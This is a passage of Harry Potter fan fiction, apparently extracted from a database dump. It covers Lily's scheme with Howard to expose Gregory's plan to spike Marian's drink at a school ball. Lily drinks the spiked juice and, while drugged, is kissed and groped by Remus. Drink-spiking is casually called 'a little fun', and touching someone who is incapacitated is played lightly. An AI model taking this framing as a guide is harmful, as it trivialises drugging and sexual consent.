</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, with girls. I usually try not to interfere as it&#8217;s none of my business, but I couldn&#8217;t help but notice he was rather taken with your friend Marian.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, she happily announced to me she&#8217;s going to the ball with him, even though she used to hate balls and stuff.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Howard cleared his throat. &quot;As Head Boy, I was made aware of Marian&#8217;s state and situation, and I&#8217;m a bit worried. I don&#8217;t think Gregory has strong feelings for her, but I know that it won&#8217;t prevent him from being a bit forward with her; he doesn&#8217;t know about last summer, you see. There have been previous cases of a relatively harmless potion being slipped into drinks during events such as feasts and parties and I &#8230; I hope you won&#8217;t be angry if I were to say that Marian could fall victim to what is normally nothing more than a little fun, because Gregory would never go as far as sleepi- he would never go <i>too</i> far. But your friend doesn&#8217;t need someone playing with her like that&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily blinked. It was almost the same little speech she had made in front of James earlier in the hope of enlisting his help. And it was quite unexpected to hear it from Howard&#8217;s mouth now.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;m worried about her too,&quot; she said. &quot;She seems oblivious to any of his shortcoming and she won&#8217;t listen to me when I try to warn her. I know she will be terribly disappointed when she finally realises what kind of boy he is. And the worst thing is that she&#8217;ll blame herself for her temporary blindness.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I know, that&#8217;s why I wanted to tell you my plan. But I must warn you, I don&#8217;t think you&#8217;ll like it. Hell, <i>I </i>don&#8217;t like it, I can&#8217;t even believe I thought of it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily told him to go on anyway, she would do anything for Marian.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, I know for a fact that they haven&#8217;t even got as far as kissing yet, and -&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Wait a minute, how can you be sure?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;He would have told me otherwise, he&#8217;s never discreet about these things. Anyway, I also happen to know that he&#8217;s planning to use an Anti-Inhibition potion on her at the ball before dragging her to a deserted corner. It&#8217;s his usual tactic. Now, I think that the best way for Marian to come out of this dangerous infatuation is for her to witness with her own eyes that, as far as Gregory is concerned, any comely witch has her chance with him.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily nodded without much enthusiasm. Although she agreed with his theory, the &#8216;with her own eyes&#8217; part was going to be difficult.</p>\n\n<p>&nbsp;</p>\n<p>Howard went on. &quot;You can&#8217;t roam the castle day and night with Marian in tow in the hopes of catching Gregory snogging in an empty classroom.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Another nod from Lily. </p>\n\n<p>&nbsp;</p>\n<p>&quot;So it leaves us with the option of you being the comely witch that will snag Gregory&#8217;s attention.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Had she heard him right? Was the boy in front of her some Slytherin stuffed with Polyjuice Potion? &quot;I beg your pardon?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t get offended, it&#8217;s not as bad as it sounds. You have to hear me out.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It&#8217;d better be worth it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;It will be. What I propose is that you accompany me to the ball. It will look perfect: two friends from Ravenclaw dating two friends from Gryffindor. We&#8217;ll stay close to Marian and Gregory, watching them without being too obvious about it. We act the moment we see Gregory uncork the vial. You&#8217;ll have to find a way to take Marian&#8217;s goblet from her and to drink it right in front of her.&quot; Howard raised his hand to prevent Lily from objecting. &quot;Don&#8217;t worry, I&#8217;ll have given you a potion that will neutralise the effects of Gregory&#8217;s prior to the ball; you&#8217;ll only have to pretend you&#8217;re suddenly finding him quite attractive. He&#8217;s not one to refuse the advances of a pretty girl, and he&#8217;ll drag you onto the dance floor or into a secluded corner. You&#8217;ll hand me the goblet before you go with him, and being suspicious of the unexpected behaviour of my date, I&#8217;ll examine the rest of the juice you&#8217;ll have left in the bottom. Marian isn&#8217;t stupid, and she&#8217;ll work out everything. It&#8217;ll be a shock, but she won&#8217;t be angry with you, because she&#8217;ll think you&#8217;re under the influence of the potion. I doubt that she&#8217;ll spare Gregory a glance afterward.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;That&#8217;s quite Slytherin-ish of you, Howard,&quot; Lily said after a moment of silence. &quot;May I ask why you&#8217;d be willing to do this?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;You may. I have two reasons. Firstly, as Head Boy, I feel concerned about the well-being of a student, and I will add that my concern is amplified by the fact that this student is your best friend. Secondly, it offers me a way to do a good deed without antagonising one of my close friends. I don&#8217;t approve of his ways, but he&#8217;s never caused any damage to this day, and I would hate to lose his friendship, which would have happened had I interfered overtly in his affairs.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes, I was right,&quot; Lily mused. &quot;You&#8217;re being quite Slytherin-ish about the whole thing.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, a Head Boy has to have many qualities.&quot;</p>\n\n<p>&nbsp;</p>\n<p> Lily would never have thought she&#8217;d ever see Perfect Howard smile a naughty smile, but there it was&#8230; It seemed that today was a day of surprises: she had unexpectedly failed to get James to enrol in one of her little schemes for the first time, she had collected the priceless memory of Trelawney frightened out of her misty wits by a sleeping Cl&#233;obulle, and to top it all, she was about to get enrolled in a very unorthodox scheme which wasn&#8217;t of her own invention but which had been concocted by the Head Boy himself.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;ll have to keep that in mind if I want to be Head Girl next year. I suppose we can call ourselves &#8216;partners in crime now&#8217;, can we?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I suppose we can.&quot; Howard chuckled. </p>\n\n<p>&nbsp;</p>\n<p>&quot;Alright then, <i>partner</i>, we&#8217;ll have to meet sometime before Sunday to go over all the details.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;How about Friday after the Prefect meeting?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Sounds good to me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well in that case, I&#8217;ll see you then,&quot; Howard said cheerfully before walking away.</p>\n\n<p>&nbsp;</p>\n<p>The Great Hall had started to empty a short while ago, but Marian was still seated at the Gryffindor table. She had finished eating and was scribbling on a parchment, most likely something about her Potions project.</p>\n\n<p>&nbsp;</p>\n<p>&quot;You want to head upstairs?&quot; Lily asked when she was close enough.</p>\n\n<p>&nbsp;</p>\n<p>Marian immediately stood to her feet. &quot;Sure, I was just waiting for you.&quot; She stuffed the parchment and self-refilling quill in her pocket, looking speculatively at Lily. &quot;You were gone for quite a long time. Did Howard suddenly become <i>extremely</i> fascinating?&quot;</p>\n\n<p>&nbsp;</p>\n<p> &quot;I think he&#8217;s turning into a Slytherin.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well, I must say it&#8217;s about time. He needs a bit of that bad boy aura to attract girls. It will give him a dash of sexiness and a touch of mystery.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Lily giggled. &quot;Since when do you think that Slytherins are <i>sexy</i>?&quot;</p>\n\n<p>&nbsp;</p>\n<p>Marian let her gaze sweep along the Slytherin table before leaving the Hall. &quot;I&#8217;ve always thought it. I had a crush on Henry Figg when I was twelve. Too bad he was seventeen and left the school at the end of my second year.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Henry Figg? As in Henry Figg the son of Arabella Figg, the most famous female Auror?&quot; </p>\n\n<p>&nbsp;</p>\n<p>&quot;The very same.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I didn&#8217;t even know he was at Hogwarts in our time!&quot; Lily exclaimed, dismayed. She wanted to be as good an Auror as Arabella Figg, and she hoped to obtain an Apprenticeship under her orders after passing her N.E.W.Ts. An acquaintance with her son would have been useful.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Don&#8217;t be so disappointed.&quot; Marian could read Lily&#8217;s face like an open book, and she tried to comfort her. &quot;He wouldn&#8217;t have talked to you anyway: we were lowly second years, not to mention Gryffindors.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Do you think all the Slytherins really buy that &#8216;let&#8217;s bash the Gryffindors&#8217; crap?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Well if they don&#8217;t they&#8217;re very good at pretending.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;But that&#8217;s just it: they&#8217;re supposed to be very good at pretending,&quot; Lily insisted. &quot;So how can we really know anyway?&quot;</p>\n\n<p>&nbsp;</p>\n<p>A year ago Marian would have launched herself into a lively tirade on the possible workings of the mysterious Slytherin house. Now she just waved Lily&#8217;s question aside as if she couldn&#8217;t have cared less.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Simple: we can&#8217;t.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The two friends had talked their way to the common room where they found the fire blazing for the empty chairs and their fellow Gryffindors glued to the tall windows.</p>\n\n<p>&nbsp;</p>\n<p>Marian gave Lily a big, happy smile and dragged her up to their dormitory. She opened the window wide and stuck her head outside, laughing.</p>\n\n<p>&nbsp;</p>\n<p>&quot;Look! It&#8217;s snowing!&quot; She collected a few snowflakes on her tongue and swallowed them, still laughing. &quot;Stop worrying about setting things right at Hogwarts; come and taste the first snow of the year!&quot;</p>\n\n<p>&nbsp;</p>\n<p>But Lily wasn&#8217;t worrying about house feuds anymore. She was just watching her friend laughing at the window, and she swore to try and keep her as happy as she was now, gathering snowflakes on the tip of her tongue.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>                                                                    ***</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b></b><p><b>Author&#8217;s notes :</b>  I know that the uniform thing is not a Canon fact but I couldn&#8217;t resist dressing up the characters with them. James in uniform, tie and first shirt button undone, is one of my weaknesses. I see Harry in uniform too, there must be something with those Potters&#8230; J\n </p>\n\n<p>Next chapter: The Ball at last. Sexy!Howard. Flirting!Lily. Pissed!James. Some snogging. Some pranking. And bad news.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n'),
	(170, 9, ' <b>\n\n</b><p><b>Author&#8217;s notes:</b> I&#8217;m sorry for the lack of update lately but RL has started to swallow a good deal of my time. The chapter I am posting has not been beta-ed yet but I thought I should post it as soon as I could since it&#8217;s been more than a month already. The proper version will be up when my beta sends the chapter back to me. Thank you to all my reviewers, please continue to review; you don&#8217;t know how much it helps.</p>\n\n<b>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 9: To drink or not to drink?</p>\n\n</b><i>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Can I borrow your mascara, Amy?&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Sure, Beth. But don&#8217;t forget you said I could use your &#8216;sparkling moonlight&#8217; eye-shadow&#8230;&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Do you want to look like paint pots? You don&#8217;t need all that make-up!&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Oh shut up, Marian. Besides, you can talk! I know you keep some Marie&#8217;s Flawless Snow-White powder in your bedside table!&#8217;</p>\n\n<p>&nbsp;</p>\n\n</i><p>The voices drifted through the closed bathroom door but Lily didn&#8217;t pay attention to them. She had had chosen to stay with her friends to prepare for the ball and had foregone using the Prefects bathroom. Her eyes kept shifting from the mirror in front of her to the small vial resting on the sink.</p>\n\n<p>&nbsp;</p>\n\n<p>She was having second thoughts.</p>\n\n<p>&nbsp;</p>\n\n<p>The conversation she&#8217;d had with Howard had turned out to be more of a pep talk than anything. The &#8216;Plan&#8217;, as she called it, had seemed fine when she&#8217;d first heard about it but, during the past week, she had found herself doubting her judgement more and more. Did she have the right to meddle in Marian&#8217;s life? Besides she wasn&#8217;t even sure she should trust Howard blindly like that&#8230;</p>\n\n<p>&nbsp;</p>\n\n<i><p>&#8216;Do you think I should rather wear my hair up instead?&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;No, those loose ringlets look very good on you, Amy.&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;Can you charm some powdered glitters in them?&#8217;</p>\n\n<p>&nbsp;</p>\n\n</i><p><i>&#8216;You&#8217;d better ask Lily. When she comes out of the bathroom that is,&#8217; </i>Beth added louder so that Lily was sure to hear it.</p>\n\n<p>&nbsp;</p>\n\n<p>But Lily was still oblivious, the small vial now clutched in her hand. Howard had said he had made it raspberry flavoured so she could cross off &#8216;disgusting mixture&#8217; of her &#8216;Why I shouldn&#8217;t drink this&#8217; list.</p>\n\n<p>&nbsp;</p>\n\n<p>A pounding on the bathroom door made Lily jump.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Are you done already?&quot; Marian asked loudly. &quot;I still need to wash my hair.&quot; </p>\n\n<p>&nbsp;</p>\n\n<p> &quot;I&#8217;ll be just a minute!&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>She was frantic now. She was always frantic when she hadn&#8217;t made up her mind in time, be it about an exam question or real cases like this one. And as always when she had to choose in a hurry she made the wrong choice.</p>\n\n<p>\n\n</p>\n\n<p>***</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;You look very nice, Lily!&quot; Beth exclaimed when she came out of the bathroom.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily smiled. She wasn&#8217;t a vain person but she knew the dark green robes she was wearing suited her quite well indeed. &quot;Thanks, Beth. You look very nice too.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I hope you&#8217;ll have a compliment for me too when I&#8217;m finished!&quot; Marian said before disappearing into the bathroom.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Could you charm these in my hair so they won&#8217;t fall off during the evening?&quot; Amy brandished her box of Star Dust (&#8216;Charmed to match your hair and dress robes!&#8217;) like a weapon.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily took the box and examined it for a while. &quot;It says it already has a slight charm to ensure that they won&#8217;t come off.&quot;</p>\n\n<p>\n\n</p>\n\n<p>&quot;Yes I know. But I&#8217;ll need a stronger charm for the activities I intend to engage in tonight.&quot; She winked at Beth who wriggled her eyebrows suggestively. At least some people were going to enjoy their evening&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>***</p>\n\n<p>&nbsp;</p>\n\n<p>An hour later the four Gryffindor girls were ready and closed the door of the dormitory. None of them had dates in their own house. As a matter of fact, they had all managed to snatch seventh year boys and they-at least Beth and Amy- were very proud of it.</p>\n\n<p>&nbsp;</p>\n\n<p>The common room was bustling with activity but Lily didn&#8217;t see James or the boys. They were probably making sure everything was ready for the &#8216;Thing&#8217;, also know as the famous and overdue prank on the Slytherin. From what she had gathered Slytherin boys would find the hem of their dress robes raising into the air above their heads and quite unwilling to go down again. Canaries were to be involved at some point but Lily was unclear as to the details. Sirius thought the whole thing would be hilarious. Good on him.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;By the way, Lily,&quot; Marian said as they went down the great marble staircase, &quot;you left an empty vial on the sink in the bathroom. I didn&#8217;t know if you wanted to get rid of it or not so I put it in your drawer.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily swallowed and tried to act nonchalant. &quot;Oh, thanks. I didn&#8217;t want to throw it away.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Marian&#8217;s attention was drawn to something down in the Entrance Hall and she replied distractedly, &quot;Sure.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Following Marian&#8217;s gaze, Lily spotted their two Ravenclaw dates for the evening waiting for them at the bottom of the stairs. </p>\n\n<p>&nbsp;</p>\n\n<p>She blinked a few times. Was that tall and sexy boy good old Howard Clint? She would never have guessed he&#8217;d clean up so nicely. Both him and Gregory Wentworth wore sober black (black was definitely back in fashion with Raven always sporting the colour) but the dress robes were tailored so as to reveal pleasant male attributes such as broad shoulders and narrow hips. If the school robes were cut like that there would have been a suspicious lack of attention in class from the female population.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Good evening ladies,&quot; Howard said gallantly before securing Lily&#8217;s hand in his own.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;You certainly look ravishing tonight.&quot; Gregory chimed in.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily waited for the &#8216;Cut the crap&#8217; Marian would always throw when males were heavily using compliments &#224; l&#8217;eau de rose. Instead her friend blushed prettily and self-consciously smoothed down the front of her robes.</p>\n\n<p>&nbsp;</p>\n\n<p>Howard held her back when Marian and her escort started toward the Great Hall&#8217;s doors. &quot;Did you drink the potion?&quot; he whispered.</p>\n\n<p>&nbsp;</p>\n\n<p>Now was the moment. She could tell him that she wanted to call off the whole operation&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>She opened her mouth to answer but a loud voice prevented her from taking the coward way out.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Lily darling! You certainly are a sight for sore eyes. What with me seeing nothing but the faces of three dunderheads for the past hours&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Everything will be alright,&quot; she whispered back hurriedly to Howard before turning to watch Sirius coming down the stairs, his three friends in tow.</p>\n\n<p>&nbsp;</p>\n\n<p>The four Gryffindor boys were also wearing black, as were most of the boys tonight, she noticed suddenly. It looked like they were all going to a bloody burial.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I&#8217;m so glad I can be of any use to you, Sirius <i>darling</i>. Even if it&#8217;s only to soothe your poor eyes.&quot; Sarcasm was her friend, she told herself. She had to hide behind it so that no-one would notice the mess her mind was in.</p>\n\n<p>&nbsp;</p>\n\n<p>She had to admit that up-close they cut quite an imposing picture. She didn&#8217;t know what was the matter with her but she found all the males of her acquaintance suddenly very attractive. Maybe she was into men in black. She already knew about her fondness for a *certain* male in uniform but the black thing was new. And it still made her think of a burial.</p>\n\n<p>&nbsp;</p>\n\n<p>She was jerked from her contemplative state when Howard sneaked his arm around her waist. &quot;But it will be my eyes she will soothe tonight, Black,&quot; he said mischievously. &quot;And now we must be off, they&#8217;ve started the dancing.&quot; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>He stirred Lily away toward the Great Hall as the first notes of music drifted in the air. </p>\n\n<p>&nbsp;</p>\n\n<p>***</p>\n\n<p>Lily had to admit that Howard was a very acceptable partner. She was no expert herself but, as far as she was concerned, someone who did not tread on her toes was &#8216; an acceptable partner&#8217;. They had made small talk while covertly watching Wentworth holding Marian a little closer than necessary and whirling her around the Hall. Well, at least Howard was watching them. Lily divided her attention equally between watching her friend and examining their surroundings. </p>\n\n<p>&nbsp;</p>\n\n<p>Round tables had been disposed on one side of the room to rest your tired feet or to have a nice conversation with friends in front of a glass of pumpkin juice. James, Sirius, Remus and Peter were presently getting up from one of the tables. They slithered among the crowd and discreetly exited the Hall. </p>\n\n<p>&nbsp;</p>\n\n<p>It bothered Lily that James had seemed to be avoiding her since she had asked him to take her to the ball. She had not exactly felt humiliated or unreasonably angry by his refusal&#8230; things had turned out alright for her in the end after all. But she couldn&#8217;t see why he had suddenly decided to step off that nice and well-paved road to a closer friendship they had been walking on. </p>\n\n<p>&nbsp;</p>\n\n<p>She cast a glance at Marian and saw her laughing at some funny thing Wentworth had just told her. No spiked drink in sight yet.</p>\n\n<p>&nbsp;</p>\n\n<p>She then let her gaze wander aimlessly around the room, taking in the other couples dancing, the Governors seated at a special table and merrily downing their Butterbeer, Dumbledore leading Professor McGonagall on the dance floor, the wizarding band playing their strange instruments&#8230;What was their name again? Prowling in the Dark? The Dark Rodents? She was sure &#8216;dark&#8217; was part of the name but couldn&#8217;t remember the rest. The musicians, sporting black robes ripped strategically in certain places, were now quite incongruously playing a waltz and they seemed none-too happy about it. </p>\n\n<p>&nbsp;</p>\n\n<p>Beth and Amy had been the ones to choose the group but the teachers, or the Board, must have imposed the tame repertoire they were playing tonight. None of the musician played an instrument that could have been part of a classic orchestra but, here they were, playing &#8216;<i>My sweet witch is baking a pumpkin pie&#8217;, </i>a classic you could adapt to any tune. The waltz did not allow lyrics and Lily was thankful for that. She discreetly looked at Howard&#8217;s watch and had trouble correctly reading the complicated symbols on it. Whatever the time actually was it couldn&#8217;t be very late. It was going to be a long evening&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>***</p>\n\n<p>&nbsp;</p>\n\n<p>Half an hour later Lily found herself sitting at a table with Marian, Howard and Gregory Wentworth. There had been no talk of drinks yet but Lily&#8217;s stomach was knotting quite viciously as she was sure it was only a question of minutes.</p>\n\n<p>&nbsp;</p>\n\n<p>When Amy came to drag her away for a moment she felt guiltily thankful for the brief reprieve. Before she went Howard had squeezed her hand reassuringly. She supposed it meant he&#8217;d do whatever was necessary if she wasn&#8217;t back when It happened.</p>\n\n<p>&nbsp;</p>\n\n<p>As it turned out, It happened when she finished adding a double dose of Star Dust to Amy&#8217;s dress robes. She was coming back to the table when she saw that Marian was holding a glass of pumpkin juice she didn&#8217;t seem too keen on drinking. Marian hated pumpkin juice. It was a bad move on Wentworth&#8217;s part and it said a lot about the boy if after nearly four months he still didn&#8217;t know what Marian didn&#8217;t like.</p>\n\n<p>&nbsp;</p>\n\n<p>Perhaps Marian would abandon the offending glass and Lily wouldn&#8217;t have to play her little charade&#8230;But no, it wasn&#8217;t going to be that easy. Marian seemed to succumb to Wenworth&#8217;s pitiful imitation of a puppy dog and she was about to take a sip for his sake.</p>\n\n<p>&nbsp;</p>\n\n<p>There was no time for thinking and Lily forged ahead.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Is that pumpkin juice? I&#8217;m dying for pumpkin juice. Do you mind?&quot; she said, grabbing the glass out of Marian&#8217;s hands and downing half of it in one gulp.</p>\n\n<p>&nbsp;</p>\n\n<p>Everything seemed to blur slightly and the noise of the Hall was reduced to a drowsy buzz. Lily blinked slowly to clear her vision but the sound was still dimmed. The very small fraction of her brain that was still functioning told her that she had landed herself in a fine mess.</p>\n\n<p>&nbsp;</p>\n\n<p>A hand on her shoulder broke the spell and everything was back to normal in a flash.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Are you alright, Lily?&quot; Marian asked worriedly.</p>\n\n<p>&nbsp;</p>\n\n<p>Lily swallowed. &quot;I&#8217;m fine. I just drank too much too fast.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Her brain was now functioning to full regime. Why wasn&#8217;t it working? The vision of the thick dark red potion going slowly down the sink like a runny giant slug was still imprinted in her mind. She had been careful to look at Wentworth as she downed the drink but she felt no attraction whatsoever towards the Ravenclaw boy.</p>\n\n<p>&nbsp;</p>\n\n<p>Great. Just great. She had ditched Howard&#8217;s potion because she was afraid she wouldn&#8217;t be able to pretend convincingly in front of Marian and now she would still have to use her meagre acting skills. She looked helplessly at Howard who was watching her like a hawk. She trusted the goblet in his hands and, mentally cringing, turned to Gregory Wentworth.</p>\n\n<p>&nbsp;</p>\n\n<p>The next thing she knew she was being seized by the arm and dragged out of the Great hall.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Sorry to barge in on your little Gryffindor/Ravenclaw interlude but we need your help,&quot; Remus said as he led her down a dimly lit corridor.</p>\n\n<p>&nbsp;</p>\n\n<p>It was at this moment that the potion started to kick in.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;What?&quot; Lily said distractedly. How had she not noticed that Remus was quite well built before? Quite strong too if the firm grasp he had of her arm was any indication.</p>\n\n<p>&nbsp;</p>\n\n<p>She wondered what it would be like to kiss a werewolf. Would it be intense and savage like she had read in some book? Or would Remus&#8217; kind nature overpower the wolf in him?</p>\n\n<p>&nbsp;</p>\n\n<p>How wrong could it be to find out? A thrill of excitation ran down her spine.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus came to a stop in front of a door and turned to Lily.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;We have a little problem with one of the charms involved for the prank and I was sent out to enlist your help.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>He didn&#8217;t see the hungry look in Lily&#8217;s eyes. Therefore it came as a complete surprise when she pushed him gently against the door. A torch was hung close to the door and, momentarily blinded and confused, he didn&#8217;t hear the faint voices coming from the other side.</p>\n\n<p>&nbsp;</p>\n\n<i><p>&#8216;What was that?&#8217;</p>\n\n<p>&#8216;Probably just the wind or Peeves.&#8217;</p>\n\n<p>&#8216;I wish Remus would hurry up, it&#8217;s freezing in here.&#8217;</p>\n\n<p>&nbsp;</p>\n\n</i><p>&quot;Lily, what are you-?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Shh&quot;. Lily stepped close to Remus and placed a finger on his lips.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus gulped. Now that Lily was standing in the light with him he saw the look in her eyes. And he knew what kind of look it was too. It was the king of look himself would have while looking at a wayward and helpless human on a full moon night.</p>\n\n<p>&nbsp;</p>\n\n<p>The finger on his lips was withdrawn and the hand trailed down until it came to rest on his chest. A bit of wriggling and the fingers slipped inside his dress robes. Oh dear&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily the Huntress could feel Remus&#8217; heart beating erratically and she smiled, lifting her other hand and curling it around his neck. She played with his hair, twirling a soft strand around her index finger.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;My little wolf wants to play, doesn&#8217;t he?&quot; she whispered coyly in his hear, bringing her body even closer to his in the process.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus&#8217; eyes widened in terror. What had she just called him? She couldn&#8217;t know, could she? And what had happened to the Lily he knew? She usually wouldn&#8217;t be seducing old friends in a dark corridor.</p>\n\n<p>&nbsp;</p>\n\n<p>But his mind had to shut down when he felt a soft pair of lips pressing against his own. If only the full moon hadn&#8217;t been a mere week away&#8230;if only he had been able to rein in the wolf&#8217;s hunger&#8230;He had felt it stirring the whole evening while watching all the human beings crowding the Great Hall. </p>\n\n<p>&nbsp;</p>\n\n<p>James was going to kill him.</p>\n\n<p>&nbsp;</p>\n\n<p>There was a loud thud as he swiftly grabbed Lily and slammed her against the door in the same spot he had occupied a second before.</p>\n\n<p>&nbsp;</p>\n\n<p>Unlike Lily who barely knew who she was kissing so passionately anymore Remus was very aware of the person whose body was pressed tightly against his.</p>\n\n<p>&nbsp;</p>\n\n<p>He let a hand wander under her robes to cup a well-rounded breast, never stopping ravishing her mouth. A mouth that tasted of pumpkin juice and something else. Caught up in what they were doing he didn&#8217;t linger on that piece of information.</p>\n\n<p>&nbsp;</p>\n\n<p>He heard her gasp as he tightened his hand on her breast and he was about to bend his head to trail kisses down her throat when he felt himself tumbling forward.</p>\n\n<p>&nbsp;</p>\n\n<p>A second later he was sprawled on the floor atop a very confused Lily and with three wands at his throat.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I <i>told</i> you there was someone behind the door, Sirius,&quot; James said a bit too calmly.</p>\n\n<p>&nbsp;</p>\n\n<p>It was then that Lily passed out and that Remus found himself all alone to do the explaining.</p>\n\n<p>&nbsp;</p>\n\n<p>***</p>\n\n<p>&nbsp;</p>\n\n<p>When Lily came to a few minutes later she wondered what the hell she was doing in a deserted room when she was supposed to be walking down a corridor with Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>Then she realised that the room was not so deserted after all. James, Sirius, Remus and Peter were there too. But they were supposed to be preparing that stupid prank. So why was Peter performing a light healing charm on Remus&#8217; bloody nose? Why was Sirius pacing in front of James as if he were guarding some prisoner? She also noticed that Sirius had two wands in his hand: his own and James&#8217;.</p>\n\n<p>&nbsp;</p>\n\n<p>If she put two and two together she would get a strange result: James had punched Remus in the nose. Sirius had probably stunned James and wisely removed his wand before performing an Enervate. And Peter was vainly trying to stop the light flood of blood running from Remus&#8217; nose. Yes, very strange indeed.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;James, how may times have you told me to think before acting?&quot; Sirius was saying angrily. &quot;And here you go paying no heed to your own advice the first chance you get!&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;That&#8217;s not true,&quot; James answered sulkily. &quot;Did I punch you when I thought you had made my Invisibility Cloak into a play ball for Lily&#8217;s cat?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Alright then, the second chance you get,&quot; Sirius conceded. &quot;But still-&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Peter, for Merlin&#8217;s sake, stop waving your wand aimlessly around like that!&quot; Remus interrupted exasperatedly. &quot;I&#8217;m getting cross-eyed and besides your charms aren&#8217;t working.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Serves you right.&quot; Lily heard James mutter.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;What was that, James?&quot; Sirius asked innocently, twirling his wand lazily.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Nothing.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Thought so. Now, I didn&#8217;t hear you apologising to Remus yet, James.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;I&#8217;m sorry Remus. I just thought that a good punch would knock out the err&#8230;wolf in you. It was a well-meant punch. Can I have my wand back now Sirius?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius grudgingly handed him the thin piece of wood.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Don&#8217;t pout like that, Sirius. I&#8217;ll let you play the bad Auror again if you&#8217;re a good boy.&quot; James smirked and pocketed his wand before making his way toward Lily who was trying to sit up on the cold floor. &quot;Are you alright?&quot; he asked, pulling her to her feet. &quot;Remus told us you had probably been drugged.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Lily 